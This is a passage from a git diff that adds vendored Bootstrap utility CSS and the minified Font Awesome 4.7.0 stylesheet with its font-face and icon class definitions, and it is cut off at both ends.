.mb-xl-1, + .my-xl-1 { + margin-bottom: 0.25rem !important; + } + .ml-xl-1, + .mx-xl-1 { + margin-left: 0.25rem !important; + } + .m-xl-2 { + margin: 0.5rem !important; + } + .mt-xl-2, + .my-xl-2 { + margin-top: 0.5rem !important; + } + .mr-xl-2, + .mx-xl-2 { + margin-right: 0.5rem !important; + } + .mb-xl-2, + .my-xl-2 { + margin-bottom: 0.5rem !important; + } + .ml-xl-2, + .mx-xl-2 { + margin-left: 0.5rem !important; + } + .m-xl-3 { + margin: 1rem !important; + } + .mt-xl-3, + .my-xl-3 { + margin-top: 1rem !important; + } + .mr-xl-3, + .mx-xl-3 { + margin-right: 1rem !important; + } + .mb-xl-3, + .my-xl-3 { + margin-bottom: 1rem !important; + } + .ml-xl-3, + .mx-xl-3 { + margin-left: 1rem !important; + } + .m-xl-4 { + margin: 1.5rem !important; + } + .mt-xl-4, + .my-xl-4 { + margin-top: 1.5rem !important; + } + .mr-xl-4, + .mx-xl-4 { + margin-right: 1.5rem !important; + } + .mb-xl-4, + .my-xl-4 { + margin-bottom: 1.5rem !important; + } + .ml-xl-4, + .mx-xl-4 { + margin-left: 1.5rem !important; + } + .m-xl-5 { + margin: 3rem !important; + } + .mt-xl-5, + .my-xl-5 { + margin-top: 3rem !important; + } + .mr-xl-5, + .mx-xl-5 { + margin-right: 3rem !important; + } + .mb-xl-5, + .my-xl-5 { + margin-bottom: 3rem !important; + } + .ml-xl-5, + .mx-xl-5 { + margin-left: 3rem !important; + } + .p-xl-0 { + padding: 0 !important; + } + .pt-xl-0, + .py-xl-0 { + padding-top: 0 !important; + } + .pr-xl-0, + .px-xl-0 { + padding-right: 0 !important; + } + .pb-xl-0, + .py-xl-0 { + padding-bottom: 0 !important; + } + .pl-xl-0, + .px-xl-0 { + padding-left: 0 !important; + } + .p-xl-1 { + padding: 0.25rem !important; + } + .pt-xl-1, + .py-xl-1 { + padding-top: 0.25rem !important; + } + .pr-xl-1, + .px-xl-1 { + padding-right: 0.25rem !important; + } + .pb-xl-1, + .py-xl-1 { + padding-bottom: 0.25rem !important; + } + .pl-xl-1, + .px-xl-1 { + padding-left: 0.25rem !important; + } + .p-xl-2 { + padding: 0.5rem !important; + } + .pt-xl-2, + .py-xl-2 { + padding-top: 0.5rem !important; + } + .pr-xl-2, + .px-xl-2 { + padding-right: 0.5rem !important; + } + .pb-xl-2, + .py-xl-2 { + padding-bottom: 0.5rem !important; + } + .pl-xl-2, + .px-xl-2 { + padding-left: 0.5rem !important; + } + .p-xl-3 { + padding: 1rem !important; + } + .pt-xl-3, + .py-xl-3 { + padding-top: 1rem !important; + } + .pr-xl-3, + .px-xl-3 { + padding-right: 1rem !important; + } + .pb-xl-3, + .py-xl-3 { + padding-bottom: 1rem !important; + } + .pl-xl-3, + .px-xl-3 { + padding-left: 1rem !important; + } + .p-xl-4 { + padding: 1.5rem !important; + } + .pt-xl-4, + .py-xl-4 { + padding-top: 1.5rem !important; + } + .pr-xl-4, + .px-xl-4 { + padding-right: 1.5rem !important; + } + .pb-xl-4, + .py-xl-4 { + padding-bottom: 1.5rem !important; + } + .pl-xl-4, + .px-xl-4 { + padding-left: 1.5rem !important; + } + .p-xl-5 { + padding: 3rem !important; + } + .pt-xl-5, + .py-xl-5 { + padding-top: 3rem !important; + } + .pr-xl-5, + .px-xl-5 { + padding-right: 3rem !important; + } + .pb-xl-5, + .py-xl-5 { + padding-bottom: 3rem !important; + } + .pl-xl-5, + .px-xl-5 { + padding-left: 3rem !important; + } + .m-xl-n1 { + margin: -0.25rem !important; + } + .mt-xl-n1, + .my-xl-n1 { + margin-top: -0.25rem !important; + } + .mr-xl-n1, + .mx-xl-n1 { + margin-right: -0.25rem !important; + } + .mb-xl-n1, + .my-xl-n1 { + margin-bottom: -0.25rem !important; + } + .ml-xl-n1, + .mx-xl-n1 { + margin-left: -0.25rem !important; + } + .m-xl-n2 { + margin: -0.5rem !important; + } + .mt-xl-n2, + .my-xl-n2 { + margin-top: -0.5rem !important; + } + .mr-xl-n2, + .mx-xl-n2 { + margin-right: -0.5rem !important; + } + .mb-xl-n2, + .my-xl-n2 { + margin-bottom: -0.5rem !important; + } + .ml-xl-n2, + .mx-xl-n2 { + margin-left: -0.5rem !important; + } + .m-xl-n3 { + margin: -1rem !important; + } + .mt-xl-n3, + .my-xl-n3 { + margin-top: -1rem !important; + } + .mr-xl-n3, + .mx-xl-n3 { + margin-right: -1rem !important; + } + .mb-xl-n3, + .my-xl-n3 { + margin-bottom: -1rem !important; + } + .ml-xl-n3, + .mx-xl-n3 { + margin-left: -1rem !important; + } + .m-xl-n4 { + margin: -1.5rem !important; + } + .mt-xl-n4, + .my-xl-n4 { + margin-top: -1.5rem !important; + } + .mr-xl-n4, + .mx-xl-n4 { + margin-right: -1.5rem !important; + } + .mb-xl-n4, + .my-xl-n4 { + margin-bottom: -1.5rem !important; + } + .ml-xl-n4, + .mx-xl-n4 { + margin-left: -1.5rem !important; + } + .m-xl-n5 { + margin: -3rem !important; + } + .mt-xl-n5, + .my-xl-n5 { + margin-top: -3rem !important; + } + .mr-xl-n5, + .mx-xl-n5 { + margin-right: -3rem !important; + } + .mb-xl-n5, + .my-xl-n5 { + margin-bottom: -3rem !important; + } + .ml-xl-n5, + .mx-xl-n5 { + margin-left: -3rem !important; + } + .m-xl-auto { + margin: auto !important; + } + .mt-xl-auto, + .my-xl-auto { + margin-top: auto !important; + } + .mr-xl-auto, + .mx-xl-auto { + margin-right: auto !important; + } + .mb-xl-auto, + .my-xl-auto { + margin-bottom: auto !important; + } + .ml-xl-auto, + .mx-xl-auto { + margin-left: auto !important; + } +} + +.text-monospace { + font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace !important; +} + +.text-justify { + text-align: justify !important; +} + +.text-wrap { + white-space: normal !important; +} + +.text-nowrap { + white-space: nowrap !important; +} + +.text-truncate { + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.text-left { + text-align: left !important; +} + +.text-right { + text-align: right !important; +} + +.text-center { + text-align: center !important; +} + +@media (min-width: 576px) { + .text-sm-left { + text-align: left !important; + } + .text-sm-right { + text-align: right !important; + } + .text-sm-center { + text-align: center !important; + } +} + +@media (min-width: 768px) { + .text-md-left { + text-align: left !important; + } + .text-md-right { + text-align: right !important; + } + .text-md-center { + text-align: center !important; + } +} + +@media (min-width: 992px) { + .text-lg-left { + text-align: left !important; + } + .text-lg-right { + text-align: right !important; + } + .text-lg-center { + text-align: center !important; + } +} + +@media (min-width: 1200px) { + .text-xl-left { + text-align: left !important; + } + .text-xl-right { + text-align: right !important; + } + .text-xl-center { + text-align: center !important; + } +} + +.text-lowercase { + text-transform: lowercase !important; +} + +.text-uppercase { + text-transform: uppercase !important; +} + +.text-capitalize { + text-transform: capitalize !important; +} + +.font-weight-light { + font-weight: 300 !important; +} + +.font-weight-lighter { + font-weight: lighter !important; +} + +.font-weight-normal { + font-weight: 400 !important; +} + +.font-weight-bold { + font-weight: 700 !important; +} + +.font-weight-bolder { + font-weight: bolder !important; +} + +.font-italic { + font-style: italic !important; +} + +.text-white { + color: #fff !important; +} + +.text-primary { + color: #007bff !important; +} + +a.text-primary:hover, a.text-primary:focus { + color: #0056b3 !important; +} + +.text-secondary { + color: #6c757d !important; +} + +a.text-secondary:hover, a.text-secondary:focus { + color: #494f54 !important; +} + +.text-success { + color: #28a745 !important; +} + +a.text-success:hover, a.text-success:focus { + color: #19692c !important; +} + +.text-info { + color: #17a2b8 !important; +} + +a.text-info:hover, a.text-info:focus { + color: #0f6674 !important; +} + +.text-warning { + color: #ffc107 !important; +} + +a.text-warning:hover, a.text-warning:focus { + color: #ba8b00 !important; +} + +.text-danger { + color: #dc3545 !important; +} + +a.text-danger:hover, a.text-danger:focus { + color: #a71d2a !important; +} + +.text-light { + color: #f8f9fa !important; +} + +a.text-light:hover, a.text-light:focus { + color: #cbd3da !important; +} + +.text-dark { + color: #343a40 !important; +} + +a.text-dark:hover, a.text-dark:focus { + color: #121416 !important; +} + +.text-body { + color: #212529 !important; +} + +.text-muted { + color: #6c757d !important; +} + +.text-black-50 { + color: rgba(0, 0, 0, 0.5) !important; +} + +.text-white-50 { + color: rgba(255, 255, 255, 0.5) !important; +} + +.text-hide { + font: 0/0 a; + color: transparent; + text-shadow: none; + background-color: transparent; + border: 0; +} + +.text-decoration-none { + text-decoration: none !important; +} + +.text-break { + word-break: break-word !important; + overflow-wrap: break-word !important; +} + +.text-reset { + color: inherit !important; +} + +.visible { + visibility: visible !important; +} + +.invisible { + visibility: hidden !important; +} + +@media print { + *, + *::before, + *::after { + text-shadow: none !important; + box-shadow: none !important; + } + a:not(.btn) { + text-decoration: underline; + } + abbr[title]::after { + content: " (" attr(title) ")"; + } + pre { + white-space: pre-wrap !important; + } + pre, + blockquote { + border: 1px solid #adb5bd; + page-break-inside: avoid; + } + thead { + display: table-header-group; + } + tr, + img { + page-break-inside: avoid; + } + p, + h2, + h3 { + orphans: 3; + widows: 3; + } + h2, + h3 { + page-break-after: avoid; + } + @page { + size: a3; + } + body { + min-width: 992px !important; + } + .container { + min-width: 992px !important; + } + .navbar { + display: none; + } + .badge { + border: 1px solid #000; + } + .table { + border-collapse: collapse !important; + } + .table td, + .table th { + background-color: #fff !important; + } + .table-bordered th, + .table-bordered td { + border: 1px solid #dee2e6 !important; + } + .table-dark { + color: inherit; + } + .table-dark th, + .table-dark td, + .table-dark thead th, + .table-dark tbody + tbody { + border-color: #dee2e6; + } + .table .thead-dark th { + color: inherit; + border-color: #dee2e6; + } +} +/*# sourceMappingURL=bootstrap.css.map */ \ No newline at end of file diff --git a/css/font-awesome.min.css b/css/font-awesome.min.css new file mode 100644 index 0000000..540440c --- /dev/null +++ b/css/font-awesome.min.css @@ -0,0 +1,4 @@ +/*! + * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome + * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) + */@font-face{font-family:'FontAwesome';src:url('../fonts/fontawesome-webfont.eot?v=4.7.0');src:url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'),url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'),url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'),url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'),url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scale(-1, 1);-ms-transform:scale(-1, 1);transform:scale(-1, 1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1, -1);-ms-transform:scale(1, -1);transform:scale(1, -1)}:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-flip-horizontal,:root .fa-flip-vertical{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-remove:before,.fa-close:before,.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-gear:before,.fa-cog:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-rotate-right:before,.fa-repeat:before{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{content:"\f02a"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-book:before{content:"\f02d"}.fa-bookmark:before{content:"\f02e"}.fa-print:before{content:"\f02f"}.fa-camera:before{content:"\f030"}.fa-font:before{content:"\f031"}.fa-bold:before{content:"\f032"}.fa-italic:before{content:"\f033"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-align-left:before{content:"\f036"}.fa-align-center:before{content:"\f037"}.fa-align-right:before{content:"\f038"}.fa-align-justify:before{content:"\f039"}.fa-list:before{content:"\f03a"}.fa-dedent:before,.fa-outdent:before{content:"\f03b"}.fa-indent:before{content:"\f03c"}.fa-video-camera:before{content:"\f03d"}.fa-photo:before,.fa-image:before,.fa-picture-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{content:"\f042"}.fa-tint:before{content:"\f043"}.fa-edit:before,.fa-pencil-square-o:before{content:"\f044"}.fa-share-square-o:before{content:"\f045"}.fa-check-square-o:before{content:"\f046"}.fa-arrows:before{content:"\f047"}.fa-step-backward:before{content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{content:"\f050"}.fa-step-forward:before{content:"\f051"}.fa-eject:before{content:"\f052"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-plus-circle:before{content:"\f055"}.fa-minus-circle:before{content:"\f056"}.fa-times-circle:before{content:"\f057"}.fa-check-circle:before{content:"\f058"}.fa-question-circle:before{content:"\f059"}.fa-info-circle:before{content:"\f05a"}.fa-crosshairs:before{content:"\f05b"}.fa-times-circle-o:before{content:"\f05c"}.fa-check-circle-o:before{content:"\f05d"}.fa-ban:before{content:"\f05e"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-down:before{content:"\f063"}.fa-mail-forward:before,.fa-share:before{content:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f067"}.fa-minus:before{content:"\f068"}.fa-asterisk:before{content:"\f069"}.fa-exclamation-circle:before{content:"\f06a"}.fa-gift:before{content:"\f06b"}.fa-leaf:before{content:"\f06c"}.fa-fire:before{content:"\f06d"}.fa-eye:before{content:"\f06e"}.fa-eye-slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:before{content:"\f076"}.fa-chevron-up:before{content:"\f077"}.fa-chevron-down:before{content:"\f078"}.fa-retweet:before{content:"\f079"}.fa-shopping-cart:before{content:"\f07a"}.fa-folder:before{content:"\f07b"}.fa-folder-open:before{content:"\f07c"}.fa-arrows-v:before{content:"\f07d"}.fa-arrows-h:before{content:"\f07e"}.fa-bar-chart-o:before,.fa-bar-chart:before{content:"\f080"}.fa-twitter-square:before{content:"\f081"}.fa-facebook-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f083"}.fa-key:before{content:"\f084"}.fa-gears:before,.fa-cogs:before{content:"\f085"}.fa-comments:before{content:"\f086"}.fa-thumbs-o-up:before{content:"\f087"}.fa-thumbs-o-down:before{content:"\f088"}.fa-star-half:before{content:"\f089"}.fa-heart-o:before{content:"\f08a"}.fa-sign-out:before{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:before{content:"\f08d"}.fa-external-link:before{content:"\f08e"}.fa-sign-in:before{content:"\f090"}.fa-trophy:before{content:"\f091"}.fa-github-square:before{content:"\f092"}.fa-upload:before{content:"\f093"}.fa-lemon-o:before{content:"\f094"}.fa-phone:before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook-f:before,.fa-facebook:before{content:"\f09a"}.fa-github:before{content:"\f09b"}.fa-unlock:before{content:"\f09c"}.fa-credit-card:before{content:"\f09d"}.fa-feed:before,.fa-rss:before{content:"\f09e"}.fa-hdd-o:before{content:"\f0a0"}.fa-bullhorn:before{content:"\f0a1"}.fa-bell:before{content:"\f0f3"}.fa-certificate:before{content:"\f0a3"}.fa-hand-o-right:before{content:"\f0a4"}.fa-hand-o-left:before{content:"\f0a5"}.fa-hand-o-up:before{content:"\f0a6"}.fa-hand-o-down:before{content:"\f0a7"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-globe:before{content:"\f0ac"}.fa-wrench:before{content:"\f0ad"}.fa-tasks:before{content:"\f0ae"}.fa-filter:before{content:"\f0b0"}.fa-briefcase:before{content:"\f0b1"}.fa-arrows-alt:before{content:"\f0b2"}.fa-group:before,.fa-users:before{content:"\f0c0"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-cloud:before{content:"\f0c2"}.fa-flask:before{content:"\f0c3"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-copy:before,.fa-files-o:before{content:"\f0c5"}.fa-paperclip:before{content:"\f0c6"}.fa-save:before,.fa-floppy-o:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-navicon:before,.fa-reorder:before,.fa-bars:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:before{content:"\f0cc"}.fa-underline:before{content:"\f0cd"}.fa-table:before{content:"\f0ce"}.fa-magic:before{content:"\f0d0"}.fa-truck:before{content:"\f0d1"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-square:before{content:"\f0d3"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-plus:before{content:"\f0d5"}.fa-money:before{content:"\f0d6"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-up:before{content:"\f0d8"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-columns:before{content:"\f0db"}.fa-unsorted:before,.fa-sort:before{content:"\f0dc"}.fa-sort-down:before,.fa-sort-desc:before{content:"\f0dd"}.fa-sort-up:before,.fa-sort-asc:before{content:"\f0de"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-legal:before,.fa-gavel:before{content:"\f0e3"}.fa-dashboard:before,.fa-tachometer:before{content:"\f0e4"}.fa-comment-o:before{content:"\f0e5"}.fa-comments-o:before{content:"\f0e6"}.fa-flash:before,.fa-bolt:before{content:"\f0e7"}.fa-sitemap:before{content:"\f0e8"}.fa-umbrella:before{content:"\f0e9"}.fa-paste:before,.fa-clipboard:before{content:"\f0ea"}.fa-lightbulb-o:before{content:"\f0eb"}.fa-exchange:before{content:"\f0ec"}.fa-cloud-download:before{content:"\f0ed"}.fa-cloud-upload:before{content:"\f0ee"}.fa-user-md:before{content:"\f0f0"}.fa-stethoscope:before{content:"\f0f1"}.fa-suitcase:before{content:"\f0f2"}.fa-bell-o:before{content:"\f0a2"}.fa-coffee:before{content:"\f0f4"}.fa-cutlery:before{content:"\f0f5"}.fa-file-text-o:before{content:"\f0f6"}.fa-building-o:before{content:"\f0f7"}.fa-hospital-o:before{content:"\f0f8"}.fa-ambulance:before{content:"\f0f9"}.fa-medkit:before{content:"\f0fa"}.fa-fighter-jet:before{content:"\f0fb"}.fa-beer:before{content:"\f0fc"}.fa-h-square:before{content:"\f0fd"}.fa-plus-square:before{content:"\f0fe"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-down:before{content:"\f107"}.fa-desktop:before{content:"\f108"}.fa-laptop:before{content:"\f109"}.fa-tablet:before{content:"\f10a"}.fa-mobile-phone:before,.fa-mobile:before{content:"\f10b"}.fa-circle-o:before{content:"\f10c"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-spinner:before{content:"\f110"}.fa-circle:before{content:"\f111"}.fa-mail-reply:before,.fa-reply:before{content:"\f112"}.fa-github-alt:before{content:"\f113"}.fa-folder-o:before{content:"\f114"}.fa-folder-open-o:before{content:"\f115"}.fa-smile-o:before{content:"\f118"}.fa-frown-o:before{content:"\f119"}.fa-meh-o:before{content:"\f11a"}.fa-gamepad:before{content:"\f11b"}.fa-keyboard-o:before{content:"\f11c"}.fa-flag-o:before{content:"\f11d"}.fa-flag-checkered:before{content:"\f11e"}.fa-terminal:before{content:"\f120"}.fa-code:before{content:"\f121"}.fa-mail-reply-all:before,.fa-reply-all:before{content:"\f122"}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:"\f123"}.fa-location-arrow:before{content:"\f124"}.fa-crop:before{content:"\f125"}.fa-code-fork:before{content:"\f126"}.fa-unlink:before,.fa-chain-broken:before{content:"\f127"}.fa-question:before{content:"\f128"}.fa-info:before{content:"\f129"}.fa-exclamation:before{content:"\f12a"}.fa-superscript:before{content:"\f12b"}.fa-subscript:before{content:"\f12c"}.fa-eraser:before{content:"\f12d"}.fa-puzzle-piece:before{content:"\f12e"}.fa-microphone:before{content:"\f130"}.fa-microphone-slash:before{content:"\f131"}.fa-shield:before{content:"\f132"}.fa-calendar-o:before{content:"\f133"}.fa-fire-extinguisher:before{content:"\f134"}.fa-rocket:before{content:"\f135"}.fa-maxcdn:before{content:"\f136"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-html5:before{content:"\f13b"}.fa-css3:before{content:"\f13c"}.fa-anchor:before{content:"\f13d"}.fa-unlock-alt:before{content:"\f13e"}.fa-bullseye:before{content:"\f140"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-rss-square:before{content:"\f143"}.fa-play-circle:before{content:"\f144"}.fa-ticket:before{content:"\f145"}.fa-minus-square:before{content:"\f146"}.fa-minus-square-o:before{content:"\f147"}.fa-level-up:before{content:"\f148"}.fa-level-down:before{content:"\f149"}.fa-check-square:before{content:"\f14a"}.fa-pencil-square:before{content:"\f14b"}.fa-external-link-square:before{content:"\f14c"}.fa-share-square:before{content:"\f14d"}.fa-compass:before{content:"\f14e"}.fa-toggle-down:before,.fa-caret-square-o-down:before{content:"\f150"}.fa-toggle-up:before,.fa-caret-square-o-up:before{content:"\f151"}.fa-toggle-right:before,.fa-caret-square-o-right:before{content:"\f152"}.fa-euro:before,.fa-eur:before{content:"\f153"}.fa-gbp:before{content:"\f154"}.fa-dollar:before,.fa-usd:before{content:"\f155"}.fa-rupee:before,.fa-inr:before{content:"\f156"}.fa-cny:before,.fa-rmb:before,.fa-yen:before,.fa-jpy:before{content:"\f157"}.fa-ruble:before,.fa-rouble:before,.fa-rub:before{content:"\f158"}.fa-won:before,.fa-krw:before{content:"\f159"}.fa-bitcoin:before,.fa-btc:before{content:"\f15a"}.fa-file:before{content:"\f15b"}.fa-file-text:before{content:"\f15c"}.fa-sort-alpha-asc:before{content:"\f15d"}.fa-sort-alpha-desc:before{content:"\f15e"}.fa-sort-amount-asc:before{content:"\f160"}.fa-sort-amount-desc:before{content:"\f161"}.fa-sort-numeric-asc:before{content:"\f162"}.fa-sort-numeric-desc:before{content:"\f163"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbs-down:before{content:"\f165"}.fa-youtube-square:before{content:"\f166"}.fa-youtube:before{content:"\f167"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-youtube-play:before{content:"\f16a"}.fa-dropbox:before{content:"\f16b"}.fa-stack-overflow:before{content:"\f16c"}.fa-instagram:before{content:"\f16d"}.fa-flickr:before{content:"\f16e"}.fa-adn:before{content:"\f170"}.fa-bitbucket:before{content:"\f171"}.fa-bitbucket-square:before{content:"\f172"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-long-arrow-down:before{content:"\f175"}.fa-long-arrow-up:before{content:"\f176"}.fa-long-arrow-left:before{content:"\f177"}.fa-long-arrow-right:before{content:"\f178"}.fa-apple:before{content:"\f179"}.fa-windows:before{content:"\f17a"}.fa-android:before{content:"\f17b"}.fa-linux:before{content:"\f17c"}.fa-dribbble:before{content:"\f17d"}.fa-skype:before{content:"\f17e"}.fa-foursquare:before{content:"\f180"}.fa-trello:before{content:"\f181"}.fa-female:before{content:"\f182"}.fa-male:before{content:"\f183"}.fa-gittip:before,.fa-gratipay:before{content:"\f184"}.fa-sun-o:before{content:"\f185"}.fa-moon-o:before{content:"\f186"}.fa-archive:before{content:"\f187"}.fa-bug:before{content:"\f188"}.fa-vk:before{content:"\f189"}.fa-weibo:before{content:"\f18a"}.fa-renren:before{content:"\f18b"}.fa-pagelines:before{content:"\f18c"}.fa-stack-exchange:before{content:"\f18d"}.fa-arrow-circle-o-right:before{content:"\f18e"}.fa-arrow-circle-o-left:before{content:"\f190"}.fa-toggle-left:before,.fa-caret-square-o-left:before{content:"\f191"}.fa-dot-circle-o:before{content:"\f192"}.fa-wheelchair:before{content:"\f193"}.fa-vimeo-square:before{content:"\f194"}.fa-turkish-lira:before,.fa-try:before{content:"\f195"}.fa-plus-square-o:before{content:"\f196"}.fa-space-shuttle:before{content:"\f197"}.fa-slack:before{content:"\f198"}.fa-envelope-square:before{content:"\f199"}.fa-wordpress:before{content:"\f19a"}.fa-openid:before{content:"\f19b"}.fa-institution:before,.fa-bank:before,.fa-university:before{content:"\f19c"}.fa-mortar-board:before,.fa-graduation-cap:before{content:"\f19d"}.fa-yahoo:before{content:"\f19e"}.fa-google:before{content:"\f1a0"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-square:before{content:"\f1a2"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-stumbleupon:before{content:"\f1a4"}.fa-delicious:before{content:"\f1a5"}.fa-digg:before{content:"\f1a6"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-drupal:before{content:"\f1a9"}.fa-joomla:before{content:"\f1aa"}.fa-language:before{content:"\f1ab"}.fa-fax:before{content:"\f1ac"}.fa-building:before{content:"\f1ad"}.fa-child:before{content:"\f1ae"}.fa-paw:before{content:"\f1b0"}.fa-spoon:before{content:"\f1b1"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"